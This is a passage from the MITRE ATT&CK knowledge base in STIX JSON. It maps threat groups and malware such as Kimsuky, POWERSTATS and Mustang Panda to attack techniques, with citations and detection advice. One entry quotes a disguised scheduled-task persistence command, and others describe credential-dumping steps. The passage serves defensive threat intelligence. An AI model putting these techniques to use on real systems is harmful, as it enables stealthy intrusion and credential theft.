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            "description": "[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) leveraged a bind mount to bind itself to the `/proc/` file path before deleting its files from the `/tmp/` directory.(Citation: Lumen KVBotnet 2023) ",
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                    "source_name": "ESET BackdoorDiplomacy Jun 2021",
                    "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021",
                    "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/"
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            "description": "[Turian](https://attack.mitre.org/software/S0647) has the ability to use HTTP for its C2.(Citation: ESET BackdoorDiplomacy Jun 2021)",
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            "revoked": false,
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                    "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.",
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            "modified": "2025-04-16T22:41:47.393Z",
            "description": "During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors enabled HTTP and HTTPS listeners.(Citation: Cybereason OperationCuckooBees May 2022)",
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            "id": "relationship--b6d77871-1b71-4b65-b04b-9ee1d4b80a9c",
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                {
                    "source_name": "Trustwave GoldenSpy June 2020",
                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020.",
                    "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/"
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            "modified": "2025-04-28T16:06:37.222Z",
            "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) constantly attempts to download and execute files from the remote C2, including [GoldenSpy](https://attack.mitre.org/software/S0493) itself if not found on the system.(Citation: Trustwave GoldenSpy June 2020)\t",
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                {
                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
                },
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"
                },
                {
                    "source_name": "Zdnet Kimsuky Dec 2018",
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a"
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used browser extensions including Google Chrome to steal passwords and cookies from browsers. [Kimsuky](https://attack.mitre.org/groups/G0094) has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims.(Citation: Zdnet Kimsuky Dec 2018)(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)",
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                {
                    "source_name": "Secureworks BRONZE PRESIDENT December 2019",
                    "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.",
                    "url": "https://www.secureworks.com/research/bronze-president-targets-ngos"
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            "modified": "2025-04-28T16:06:37.479Z",
            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file. [Mustang Panda](https://attack.mitre.org/groups/G0129) has also used <code>reg save</code> on the SYSTEM file Registry location to help extract the NTDS.dit file.(Citation: Secureworks BRONZE PRESIDENT December 2019)",
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            "x_mitre_deprecated": false,
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            "id": "relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8",
            "created": "2019-06-24T13:13:57.215Z",
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                    "source_name": "Intezer HiddenWasp Map 2019",
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"
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            "modified": "2025-04-28T16:06:37.683Z",
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.(Citation: Intezer HiddenWasp Map 2019)",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0",
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                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
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            "modified": "2025-04-28T16:06:37.860Z",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RAR to compress collected data before exfiltration.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                    "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.",
                    "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"
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                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
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                {
                    "source_name": "Cisco Talos Intelligence Group",
                    "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.",
                    "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"
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                    "source_name": "Palo Alto Black-T October 2020",
                    "description": "Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"
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                    "source_name": "Guidepoint SUPERNOVA Dec 2020",
                    "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021.",
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            "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) is a Web shell.(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: CISA Supernova Jan 2021)",
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            "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors named a malicious scheduled task \"WinUpdate\" for persistence.(Citation: Talos Frankenstein June 2019)",
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            "id": "relationship--b853cee3-a145-407f-83fe-dd52c4efbe2f",
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                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
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            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has established persistence through a scheduled task using the command <code>\u201dC:\\Windows\\system32\\schtasks.exe\u201d /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR \u201cc:\\Windows\\system32\\wscript.exe C:\\Windows\\temp\\Windows.vbe\u201d</code>.(Citation: ClearSky MuddyWater Nov 2018)",
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                {
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                    "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.",
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            "description": "During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors downloaded tools and malware onto a compromised host.(Citation: Mandiant UNC3890 Aug 2022)",
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            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.(Citation: CoinTicker 2019)",
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            "description": "Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.",
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                    "source_name": "GitHub Sliver Encryption",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"
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            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a run key named <code>Dropbox Update Setup</code> to mask a persistence mechanism for a malicious binary.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "source_name": "Ensilo Darkgate 2018",
                    "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.",
                    "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"
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                    "source_name": "Rapid7 BlackBasta 2024",
                    "description": "McGraw, T. (2024, December 4). Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware. Retrieved December 9, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/"
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                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
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            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has encrypted C2 traffic with RSA.(Citation: FireEye MuddyWater Mar 2018)",
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                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.",
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            "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.",
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                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
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            "description": "[T9000](https://attack.mitre.org/software/S0098) encrypts collected data using a single byte XOR key.(Citation: Palo Alto T9000 Feb 2016)",
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                    "source_name": "Secureworks MCMD July 2019",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis"
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            "description": "[MCMD](https://attack.mitre.org/software/S0500) can use scheduled tasks for persistence.(Citation: Secureworks MCMD July 2019)",
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                    "source_name": "Unit 42 Lucifer June 2020",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"
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            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can execute TCP, UDP,  and HTTP denial of service (DoS) attacks.(Citation: Unit 42 Lucifer June 2020)",
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                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.",
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                    "source_name": "SolarWinds Sunburst Sunspot Update January 2021",
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                    "source_name": "Unit 42 NOKKI Sept 2018",
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            "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses a unique, custom de-obfuscation technique.(Citation: Unit 42 NOKKI Sept 2018)",
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            "description": "[MacSpy](https://attack.mitre.org/software/S0282) can record the sounds from microphones on a computer.(Citation: objsee mac malware 2017)",
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                    "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.",
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            "description": "[Doki](https://attack.mitre.org/software/S0600) has disguised a file as a Linux kernel module.(Citation: Intezer Doki July 20)",
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                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
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                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
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                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Install-SSP</code> Persistence module can be used to establish by installing a SSP DLL.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                {
                    "source_name": "Bitsight Latrodectus June 2024",
                    "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.",
                    "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back"
                },
                {
                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
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                    "source_name": "Elastic Latrodectus May 2024",
                    "description": "Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.",
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            "description": "[Latrodectus](https://attack.mitre.org/software/S1160) can send RC4 encrypted data over C2 channels.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)",
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                    "source_name": "WithSecure Kapeka 2024",
                    "description": "Mohammad Kazem Hassan Nejad, WithSecure. (2024, April 17). KAPEKA A novel backdoor spotted in Eastern Europe. Retrieved January 6, 2025.",
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            "description": "[Kapeka](https://attack.mitre.org/software/S1190) can identify system proxy settings via `WinHttpGetIEProxyConfigForCurrentUser()` during initialization and utilize these settings for subsequent command and control operations.(Citation: WithSecure Kapeka 2024)",
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            "created": "2020-03-19T22:23:33.601Z",
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                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.",
                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"
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            "modified": "2025-04-28T16:07:51.987Z",
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)",
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                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
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            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) downloads and executes additional PowerShell code and Windows binaries.(Citation: FireEye POSHSPY April 2017)",
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                    "source_name": "CyberBit Dtrack",
                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021.",
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                    "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.",
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                    "source_name": "NCC Group Chimera January 2021",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.",
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                    "url": "https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine"
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                    "source_name": "Medium S2W WhisperGate January 2022",
                    "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
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                    "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.",
                    "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"
                },
                {
                    "source_name": "Trend Micro DRBControl February 2020",
                    "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"
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            "modified": "2025-04-16T22:45:48.494Z",
            "description": "[RCSession](https://attack.mitre.org/software/S0662) can collect data from a compromised host.(Citation: Profero APT27 December 2020)(Citation: Trend Micro DRBControl February 2020)",
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            "revoked": false,
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                {
                    "source_name": "Microsoft Moonstone Sleet 2024",
                    "description": "Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"
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            "modified": "2025-04-16T22:45:48.711Z",
            "description": "[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has interacted with victims to gather information via email.(Citation: Microsoft Moonstone Sleet 2024)",
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            "source_ref": "intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0",
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            "description": "Extra scrutiny should be placed on suspicious modification of Registry keys such as COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075). Monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection.",
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            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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            "x_mitre_deprecated": false,
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        },
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            "id": "relationship--c5ae9551-e756-4b8b-9b78-515eba60acf5",
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            "revoked": false,
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                {
                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
                },
                {
                    "source_name": "KISA Operation Muzabi",
                    "description": "KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.",
                    "url": "https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"
                },
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has placed scripts in the startup folder for persistence and modified the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce` Registry key.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)",
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                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"
                },
                {
                    "source_name": "Cobalt Strike Manual 4.3 November 2020",
                    "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.",
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use <code>WinRM</code> to execute a payload on a remote host.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)",
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                    "source_name": "Trend Micro TA505 June 2019",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/"
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            "revoked": false,
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                    "source_name": "Trustwave BlackByte 2021",
                    "description": "Rodel Mendrez & Lloyd Macrohon. (2021, October 15). BlackByte Ransomware \u2013 Pt. 1 In-depth Analysis. Retrieved December 16, 2024.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/"
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            ],
            "modified": "2025-04-16T22:45:49.752Z",
            "description": "[BlackByte Ransomware](https://attack.mitre.org/software/S1180) modifies the victim Registry to prevent system recovery.(Citation: Trustwave BlackByte 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--9454bb5d-3bdb-40f9-a878-b5fb446ded3d",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--c5caa197-e990-4214-ae50-7abeb5df199f",
            "created": "2022-03-30T14:26:51.844Z",
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            ],
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            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
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            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--c5cf4822-a0bf-442a-9943-1937ac45520b",
            "created": "2017-12-14T16:46:06.044Z",
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                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
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            ],
            "modified": "2025-04-28T16:09:19.552Z",
            "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)",
            "relationship_type": "uses",
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"
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            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use VBScript (VBE) code for execution.(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
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            "x_mitre_deprecated": false,
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        {
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            "revoked": false,
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                    "source_name": "HP RaspberryRobin 2024",
                    "description": "Patrick Schl\u00e4pfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.",
                    "url": "https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"
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            ],
            "modified": "2025-04-16T22:45:50.375Z",
            "description": "[Raspberry Robin](https://attack.mitre.org/software/S1130) can delete its initial delivery script from disk during execution.(Citation: HP RaspberryRobin 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
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        {
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                {
                    "source_name": "CISA AA20-296A Berserk Bear December 2020",
                    "description": "CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions"
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            "modified": "2025-04-28T16:09:20.006Z",
            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services.(Citation: CISA AA20-296A Berserk Bear December 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
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        },
        {
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            "id": "relationship--c5d62fbd-ff2e-459a-84a3-462aa73ac01e",
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            ],
            "modified": "2025-04-28T16:09:20.197Z",
            "description": "Monitor interactions with images and containers by users to identify ones that are modified anomalously.\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963",
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            "x_mitre_deprecated": false,
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        },
        {
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            "spec_version": "2.1",
            "id": "relationship--c5d67c9b-f8de-420a-ad05-3691ca001b64",
            "created": "2020-08-17T15:22:29.071Z",
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            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
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            ],
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                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020.",
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            "description": "[Dyre](https://attack.mitre.org/software/S0024) has been delivered with encrypted resources and must be unpacked for execution.(Citation: Malwarebytes Dyreza November 2015)",
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                    "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020.",
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                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.",
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                    "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.",
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            "description": "[Metador](https://attack.mitre.org/groups/G1013) has used TCP for C2.(Citation: SentinelLabs Metador Sept 2022)",
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                    "description": "Symntec Threat Hunter Team. (2022, November 12). Billbug: State-sponsored Actor Targets Cert Authority, Government Agencies in Multiple Asian Countries. Retrieved March 15, 2025.",
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                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
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            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) utilizes [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)",
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            "created": "2020-03-13T20:15:32.053Z",
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            "modified": "2025-04-28T16:10:19.954Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb4015bf-e7a4-4b26-8816-1f7a996adf4f",
            "created": "2020-03-20T15:22:53.973Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "modified": "2025-04-28T16:10:20.126Z",
            "relationship_type": "revoked-by",
            "source_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cb41e11f-1a03-43f3-af0e-a7318632350f",
            "created": "2020-12-07T19:39:17.463Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET Crutch December 2020",
                    "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020.",
                    "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/"
                }
            ],
            "object_marking_refs": [
